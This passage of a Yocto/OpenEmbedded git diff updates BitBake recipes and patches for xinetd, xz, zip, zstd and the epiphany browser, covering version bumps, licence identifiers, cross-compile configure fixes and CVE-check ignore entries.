-index 8caab45..2e617ae 100644
---- a/xinetd/inet.c
-+++ b/xinetd/inet.c
-@@ -25,6 +25,8 @@
-
- static psi_h iter ;
-
-+extern int inetd_ipv6;
-+
- static int get_next_inet_entry( int fd, pset_h sconfs,
- struct service_config *defaults);
-
-@@ -360,6 +362,21 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- }
- SC_SERVER_ARGV(scp)[u] = p;
- }
-+
-+ /* Set the IPv6 flag if we were passed the -inetd_ipv6 option */
-+ if ( inetd_ipv6 )
-+ {
-+ nvp = nv_find_value( service_flags, "IPv6" );
-+ if ( nvp == NULL )
-+ {
-+ parsemsg( LOG_WARNING, func, "inetd.conf - Bad foo %s", name ) ;
-+ pset_destroy(args);
-+ sc_free(scp);
-+ return -1;
-+ }
-+ M_SET(SC_XFLAGS(scp), nvp->value);
-+ }
-+
- /* Set the reuse flag, as this is the default for inetd */
- nvp = nv_find_value( service_flags, "REUSE" );
- if ( nvp == NULL )
-diff --git a/xinetd/options.c b/xinetd/options.c
-index b058b6a..dc2f3a0 100644
---- a/xinetd/options.c
-+++ b/xinetd/options.c
-@@ -30,6 +30,7 @@ int logprocs_option ;
- unsigned logprocs_option_arg ;
- int stayalive_option=0;
- char *program_name ;
-+int inetd_ipv6 = 0 ;
- int inetd_compat = 0 ;
- int dont_fork = 0;
-
-@@ -128,6 +129,8 @@ int opt_recognize( int argc, char *argv[] )
- fprintf(stderr, "\n");
- exit(0);
- }
-+ else if ( strcmp ( &argv[ arg ][ 1 ], "inetd_ipv6" ) == 0 )
-+ inetd_ipv6 = 1;
- else if ( strcmp ( &argv[ arg ][ 1 ], "inetd_compat" ) == 0 )
- inetd_compat = 1;
- }
-diff --git a/xinetd/xinetd.man b/xinetd/xinetd.man
-index c76c3c6..c9dd803 100644
---- a/xinetd/xinetd.man
-+++ b/xinetd/xinetd.man
-@@ -106,6 +106,12 @@ This option causes xinetd to read /etc/inetd.conf in addition to the
- standard xinetd config files. /etc/inetd.conf is read after the
- standard xinetd config files.
- .TP
-+.BI \-inetd_ipv6
-+This option causes xinetd to bind to IPv6 (AF_INET6) addresses for
-+inetd compatibility lines (see previous option). This only affects
-+how /etc/inetd.conf is interpreted and thus only has any effect if
-+the \-inetd_compat option is also used.
-+.TP
- .BI \-cc " interval"
- This option instructs
- .B xinetd
---
-1.5.5.rc0.127.gb4337
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.conf b/meta/recipes-extended/xinetd/xinetd/xinetd.conf
deleted file mode 100644
index 9e6ea2577e..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.conf
+++ /dev/null
@@ -1,11 +0,0 @@
-# Simple configuration file for xinetd
-#
-# Some defaults, and include /etc/xinetd.d/
-
-defaults
-{
-
-
-}
-
-includedir /etc/xinetd.d
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
new file mode 100644
index 0000000000..62ee70d244
--- /dev/null
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Socket-based service activation daemon"
+HOMEPAGE = "https://github.com/xinetd-org/xinetd"
+DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
+
+LICENSE = "xinetd"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
+ file://xinetd.init \
+ file://xinetd.default \
+ file://xinetd.service \
+ "
+
+SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
+
+S = "${WORKDIR}/git"
+
+# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
+CVE_CHECK_IGNORE += "CVE-2013-4342"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+SYSTEMD_SERVICE:${PN} = "xinetd.service"
+
+INITSCRIPT_NAME = "xinetd"
+INITSCRIPT_PARAMS = "defaults"
+
+PACKAGECONFIG ??= "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
+
+CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
+
+do_install:append() {
+ install -d "${D}${sysconfdir}/init.d"
+ install -d "${D}${sysconfdir}/default"
+ install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
+ install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
+
+ # Install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/xinetd.service
+}
+
+RDEPENDS:${PN} += "perl"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.bb
deleted file mode 100644
index 6e43f5be6f..0000000000
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.bb
+++ /dev/null
@@ -1,77 +0,0 @@
-SUMMARY = "Socket-based service activation daemon"
-HOMEPAGE = "https://github.com/xinetd-org/xinetd"
-
-# xinetd is a BSD-like license
-# Apple and Gentoo say BSD here.
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=8ad8615198542444f84d28a6cf226dd8"
-
-DEPENDS += "libtirpc"
-PR = "r2"
-
-# Blacklist a bogus tag in upstream check
-UPSTREAM_CHECK_GITTAGREGEX = "xinetd-(?P<pver>(?!20030122).+)"
-
-SRC_URI = "git://github.com/xinetd-org/xinetd.git;protocol=https \
- file://xinetd.init \
- file://xinetd.conf \
- file://xinetd.default \
- file://Various-fixes-from-the-previous-maintainer.patch \
- file://Disable-services-from-inetd.conf-if-a-service-with-t.patch \
- file://xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch \
- file://xinetd-CVE-2013-4342.patch \
- file://0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch \
- file://xinetd.service \
- "
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-SRCREV = "68bb9ab9e9f214ad8a2322f28ac1d6733e70bc24"
-
-S = "${WORKDIR}/git"
-
-inherit autotools update-rc.d systemd
-
-SYSTEMD_SERVICE_${PN} = "xinetd.service"
-
-INITSCRIPT_NAME = "xinetd"
-INITSCRIPT_PARAMS = "defaults"
-
-EXTRA_OECONF="--disable-nls"
-
-PACKAGECONFIG ??= "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
-
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-LDFLAGS += "-ltirpc"
-
-do_configure() {
- # Looks like configure.in is broken, so we are skipping
- # rebuilding configure and are just using the shipped one
- ( cd ${S}; gnu-configize --force )
- oe_runconf
-}
-
-do_install() {
- # Same here, the Makefile does some really stupid things,
- # but since we only want two files why not override
- # do_install from autotools and doing it ourselfs?
- install -d "${D}${sbindir}"
- install -d "${D}${sysconfdir}/init.d"
- install -d "${D}${sysconfdir}/xinetd.d"
- install -d "${D}${sysconfdir}/default"
- install -m 644 "${WORKDIR}/xinetd.conf" "${D}${sysconfdir}"
- install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
- install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
- install -m 755 "${B}/xinetd/xinetd" "${D}${sbindir}"
- install -m 755 "${B}/xinetd/itox" "${D}${sbindir}"
- install -m 664 ${S}/contrib/xinetd.d/* ${D}${sysconfdir}/xinetd.d
-
- # Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/xinetd.service
-}
-
-CONFFILES_${PN} = "${sysconfdir}/xinetd.conf"
diff --git a/meta/recipes-extended/xz/xz_5.2.4.bb b/meta/recipes-extended/xz/xz_5.2.4.bb
deleted file mode 100644
index 791746e1cf..0000000000
--- a/meta/recipes-extended/xz/xz_5.2.4.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Utilities for managing LZMA compressed files"
-HOMEPAGE = "http://tukaani.org/xz/"
-SECTION = "base"
-
-# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
-# which is GPLv3 is an m4 macro which isn't shipped in any of our packages,
-# and the LGPL bits are under lib/, which appears to be used for libgnu, which
-# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
-LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-dev = "GPLv2+"
-LICENSE_${PN}-staticdev = "GPLv2+"
-LICENSE_${PN}-doc = "GPLv2+"
-LICENSE_${PN}-dbg = "GPLv2+"
-LICENSE_${PN}-locale = "GPLv2+"
-LICENSE_liblzma = "PD"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
- file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
- "
-
-SRC_URI = "http://tukaani.org/xz/xz-${PV}.tar.gz"
-SRC_URI[md5sum] = "5ace3264bdd00c65eeec2891346f65e6"
-SRC_URI[sha256sum] = "b512f3b726d3b37b6dc4c8570e137b9311e7552e8ccbab4d39d47ce5f4177145"
-UPSTREAM_CHECK_REGEX = "xz-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools gettext
-
-PACKAGES =+ "liblzma"
-
-FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
-
-inherit update-alternatives
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "xz xzcat unxz \
- lzma lzcat unlzma"
-
-BBCLASSEXTEND = "native nativesdk"
-
-export CONFIG_SHELL="/bin/sh"
diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb
new file mode 100644
index 0000000000..78aa6b20ca
--- /dev/null
+++ b/meta/recipes-extended/xz/xz_5.2.5.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Utilities for managing LZMA compressed files"
+HOMEPAGE = "https://tukaani.org/xz/"
+DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
+SECTION = "base"
+
+# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
+# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
+# packages, and the LGPL bits are under lib/, which appears to be used for
+# libgnu, which appears to be used for DOS builds. So we're left with
+# GPL-2.0-or-later and PD.
+LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later"
+LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
+LICENSE:${PN}-doc = "GPL-2.0-or-later"
+LICENSE:${PN}-dbg = "GPL-2.0-or-later"
+LICENSE:${PN}-locale = "GPL-2.0-or-later"
+LICENSE:liblzma = "PD"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
+ "
+
+SRC_URI = "https://tukaani.org/xz/xz-${PV}.tar.gz"
+SRC_URI[md5sum] = "0d270c997aff29708c74d53f599ef717"
+SRC_URI[sha256sum] = "f6f4910fd033078738bd82bfba4f49219d03b17eb0794eb91efbae419f4aba10"
+UPSTREAM_CHECK_REGEX = "xz-(?P<pver>\d+(\.\d+)+)\.tar"
+
+CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
+
+inherit autotools gettext
+
+PACKAGES =+ "liblzma"
+
+FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
+
+inherit update-alternatives
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "xz xzcat unxz \
+ lzma lzcat unlzma"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
new file mode 100644
index 0000000000..475a653f28
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
@@ -0,0 +1,88 @@
+From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:31:21 -0800
+Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
+
+Some case link flags contain important flags which are required during
+linking, link fails otherwise without them, which can result in
+configure detection go wrong, ensure these flags are used along with CC
+when tests involve linking
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 16 ++++++++--------
+ 1 file changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 1bc698b..1d9a9bb 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
+
+
+@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
+
+
+@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
+ #include <string.h>
+ int main() { strerror( 0); return 0; }
+ _EOF_
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
+
+ echo Check for errno declaration
+@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+@@ -583,9 +583,9 @@ fi
+
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+--
+2.35.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
new file mode 100644
index 0000000000..02253f968c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
@@ -0,0 +1,47 @@
+From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:36:59 -0800
+Subject: [PATCH 1/2] configure: use correct CPP
+
+configure uses CPP to test that two assembler routines
+can be built. Unfortunately, it will use /usr/bin/cpp
+if it exists, invalidating the tests. We use the $CC
+passed to configure.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 15 +++++++++------
+ 1 file changed, 9 insertions(+), 6 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 73ba803..7e21070 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -220,13 +220,16 @@ fi
+ echo Check for the C preprocessor
+ # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
+ CPP="${CC} -E"
++
++# We should not change CPP for yocto builds.
++#
+ # solaris as(1) needs -P, maybe others as well ?
+-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
+-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
+-[ -f /lib/cpp ] && CPP=/lib/cpp
+-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
+-[ -f /xenix ] && CPP="${CC} -E"
+-[ -f /lynx.os ] && CPP="${CC} -E"
++# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
++# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
++# [ -f /lib/cpp ] && CPP=/lib/cpp
++# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
++# [ -f /xenix ] && CPP="${CC} -E"
++# [ -f /lynx.os ] && CPP="${CC} -E"
+
+ echo "#include <stdio.h>" > conftest.c
+ $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
new file mode 100644
index 0000000000..6e0879616a
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
@@ -0,0 +1,34 @@
+From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:46:03 -0800
+Subject: [PATCH 2/2] configure: support PIC code build
+
+Disable building match.S. The code requires
+relocation in .text.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 7e21070..1bc698b 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
+ if test ! -s _match.s || grep error < _match.s > /dev/null; then
+ :
+ elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
+- CFLAGS="${CFLAGS} -DASMV"
+- OBJA="match.o"
++ # disable match.S for PIC code
++ # CFLAGS="${CFLAGS} -DASMV"
++ # OBJA="match.o"
+ echo "int foo() { return 0;}" > conftest.c
+ $CC -c conftest.c >/dev/null 2>/dev/null
+ echo Check if compiler generates underlines
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..5cdbf22a54 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
[YOCTO #9552]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
new file mode 100644
index 0000000000..ce6caff83e
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
@@ -0,0 +1,22 @@
+Close the correct file descriptor
+
+https://bugs.archlinux.org/task/47713
+
+Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
+
+Upstream-Status: Inappropriate [no upstream]
+
+diff --git a/zipnote.c b/zipnote.c
+index 5e02cb6..996f012 100644
+--- a/zipnote.c
++++ b/zipnote.c
+@@ -661,7 +661,7 @@ char **argv; /* command line tokens */
+ if ((r = zipcopy(z)) != ZE_OK)
+ ziperr(r, "was copying an entry");
+ }
+- fclose(x);
++ fclose(in_file);
+
+ /* Write central directory and end of central directory with new comments */
+ if ((c = zftello(y)) == (zoff_t)-1) /* get start of central */
+
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index a2cd7717ca..07a67b9634 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,5 +1,6 @@
SUMMARY = "Compressor/archiver for creating and modifying .zip files"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
@@ -12,12 +13,22 @@ S = "${WORKDIR}/zip30"
SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.gz \
file://fix-security-format.patch \
file://10-remove-build-date.patch \
+ file://zipnote-crashes-with-segfault.patch \
+ file://0001-configure-use-correct-CPP.patch \
+ file://0002-configure-support-PIC-code-build.patch \
+ file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
+# Disputed and also Debian doesn't consider a vulnerability
+CVE_CHECK_IGNORE += "CVE-2018-13410"
+
+# Not for zip but for smart contract implementation for it
+CVE_CHECK_IGNORE += "CVE-2018-13684"
+
# zip.inc sets CFLAGS, but what Makefile actually uses is
# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
# whatever we set.
diff --git a/meta/recipes-extended/zstd/zstd_1.5.2.bb b/meta/recipes-extended/zstd/zstd_1.5.2.bb
new file mode 100644
index 0000000000..0ddff469b8
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd_1.5.2.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Zstandard - Fast real-time compression algorithm"
+DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
+real-time compression scenarios at zlib-level and better compression ratios. \
+It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
+HOMEPAGE = "http://www.zstd.net/"
+SECTION = "console/utils"
+
+LICENSE = "BSD-3-Clause & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c7f0b161edbe52f5f345a3d1311d0b32 \
+ file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0"
+
+SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https"
+
+SRCREV = "e47e674cd09583ff0503f0f6defd6d23d8b718d3"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+CVE_PRODUCT = "zstandard"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
+PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
+PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
+
+# See programs/README.md for how to use this
+ZSTD_LEGACY_SUPPORT ??= "4"
+
+do_compile () {
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/epiphany/epiphany_3.34.1.bb b/meta/recipes-gnome/epiphany/epiphany_3.34.1.bb
deleted file mode 100644
index d1cb515a58..0000000000
--- a/meta/recipes-gnome/epiphany/epiphany_3.34.1.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "WebKit based web browser for GNOME"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS = "libsoup-2.4 webkitgtk gtk+3 iso-codes avahi libnotify gcr \
- gsettings-desktop-schemas libxml2-native \
- glib-2.0 glib-2.0-native json-glib libdazzle"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gsettings distro_features_check upstream-version-is-even gettext
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
- file://0002-help-meson.build-disable-the-use-of-yelp.patch \
- "
-SRC_URI[archive.md5sum] = "50b50e18d99b19f44cc9cd419c6a4ba8"
-SRC_URI[archive.sha256sum] = "a07bc997ad2cbf14d58557bb0b63e92d8c33683680c5e50ea6f9b53b36bec1d9"
-
-FILES_${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
-RDEPENDS_${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
diff --git a/meta/recipes-gnome/epiphany/epiphany_41.3.bb b/meta/recipes-gnome/epiphany/epiphany_41.3.bb
new file mode 100644
index 0000000000..6dca6a7305
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/epiphany_41.3.bb
@@ -0,0 +1,43 @@
+SUMMARY = "WebKit based web browser for GNOME"
+DESCRIPTION = "Epiphany is an open source web browser for the Linux desktop environment. \
+It provides a simple and easy-to-use internet browsing experience."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Web"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS = " \
+ webkitgtk \
+ gcr \
+ gsettings-desktop-schemas \
+ nettle \
+ json-glib \
+ libarchive \
+ libdazzle \
+ libhandy \
+ glib-2.0-native \
+ "
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gsettings features_check gettext mime-xdg
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@oe.utils.trim_version("${PV}", 1)}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
+ file://0002-help-meson.build-disable-the-use-of-yelp.patch \
+ file://bfbb5f7bab38301d8a4a444173acdae8d9692146.patch \
+ file://migrator.patch \
+ file://distributor.patch \
+ "
+SRC_URI[archive.sha256sum] = "ba01268ee54f318dfdac2e01eba38a3fc96940c1cbf640ed2613ae29f8bcb9ad"
+
